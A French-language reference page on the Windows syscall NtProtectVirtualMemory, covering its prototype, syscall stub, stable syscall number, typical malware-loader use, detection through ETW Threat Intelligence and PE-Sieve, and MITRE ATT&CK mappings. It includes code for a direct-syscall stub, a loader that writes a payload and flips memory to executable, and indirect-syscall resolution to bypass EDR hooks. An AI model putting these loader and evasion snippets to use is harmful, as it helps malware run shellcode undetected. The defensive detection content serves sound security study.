NtProtectVirtualMemory

Prototype

NTSTATUS NtProtectVirtualMemory(
  HANDLE  ProcessHandle,
  PVOID  *BaseAddress,
  PSIZE_T NumberOfBytesToProtect,
  ULONG   NewAccessProtection,
  PULONG  OldAccessProtection
);

Arguments

IDs de syscalls par version de Windows

Stub du syscall

4C 8B D1            mov r10, rcx
B8 50 00 00 00      mov eax, 0x50
F6 04 25 08 03 FE 7F 01   test byte ptr [0x7FFE0308], 1
75 03               jne short +3
0F 05               syscall
C3                  ret
CD 2E               int 2Eh
C3                  ret

Notes non documentées

NtProtectVirtualMemory conserve le SSN `0x50` de Windows 10 1507 jusqu'à Windows 11 24H2 — l'un des numéros les plus stables de la plateforme. C'est le point d'entrée noyau derrière `VirtualProtect`/`VirtualProtectEx` qui aboutit à `MiProtectVirtualMemory`. La fonction arrondit silencieusement `BaseAddress` vers le bas et `NumberOfBytesToProtect` vers le haut sur les bornes de page, donc une requête touchant un seul octet d'une page adjacente reprotégera la page entière.

Usage courant par les malwares

C'est la seconde moitié du schéma canonique de loader : la région est allouée en `PAGE_READWRITE`, le payload est écrit, puis `NtProtectVirtualMemory` la bascule en `PAGE_EXECUTE_READ` (ou `PAGE_EXECUTE_READWRITE` pour des stubs auto-modifiants). Passer de RW à RX après l'écriture est la façon classique de déjouer les scanners qui ne cherchent que du RWX tout en obtenant du code exécutable. Utilisé dans les loaders de beacon Cobalt Strike, les runners shellcode Sliver, Brute Ratel et la plupart des implémentations de module stomping ou de thread stack spoofing.

Opportunités de détection

Les transitions RX ou RWX sur de la mémoire privée (non-image) constituent un signal fort. Sysmon n'a pas d'événement dédié, mais ETW Threat Intelligence (`Microsoft-Windows-Threat-Intelligence`) émet `EtwTiLogProtectExecVm` dès qu'une protection exécutable est appliquée à de la mémoire privée — c'est exactement l'événement auquel les EDR souscrivent. Les hooks userland sur `NtProtectVirtualMemory` dans ntdll sont contournés par les syscalls directs ou indirects, mais la télémétrie ETW-TI côté noyau, elle, reste active. PE-Sieve et Moneta détectent en post-mortem les régions RX privées non adossées à une image.

Exemples de syscalls directs

; Direct syscall stub for NtProtectVirtualMemory (SSN 0x50, stable across all Win10/11)
NtProtectVirtualMemory PROC
    mov  r10, rcx          ; syscall convention
    mov  eax, 50h          ; SSN
    syscall
    ret
NtProtectVirtualMemory ENDP

// Classic two-phase loader: allocate RW, write, flip to RX.
SIZE_T size = payload_len;
PVOID  base = NULL;
NtAllocateVirtualMemory(NtCurrentProcess(), &base, 0, &size,
                        MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
memcpy(base, payload, payload_len);

ULONG old = 0;
NTSTATUS st = NtProtectVirtualMemory(NtCurrentProcess(), &base, &size,
                                     PAGE_EXECUTE_READ, &old);
if (NT_SUCCESS(st)) ((void(*)())base)();

// Resolve SSN at runtime from a non-hooked ntdll copy.
typedef NTSTATUS (NTAPI *pNtProtect)(HANDLE, PVOID*, PSIZE_T, ULONG, PULONG);

DWORD ssn = GetSyscallNumber(GetProcAddress(GetModuleHandleA("ntdll.dll"),
                                            "NtProtectVirtualMemory"));
// hand SSN to your indirect-syscall trampoline; ssn is 0x50 on every supported build
set_ssn(ssn);
indirect_syscall_invoke(/* args */);

Mappings MITRE ATT&CK

• T1055Process Injectionmitre ↗
• T1055.002Portable Executable Injectionmitre ↗
• T1620Reflective Code Loadingmitre ↗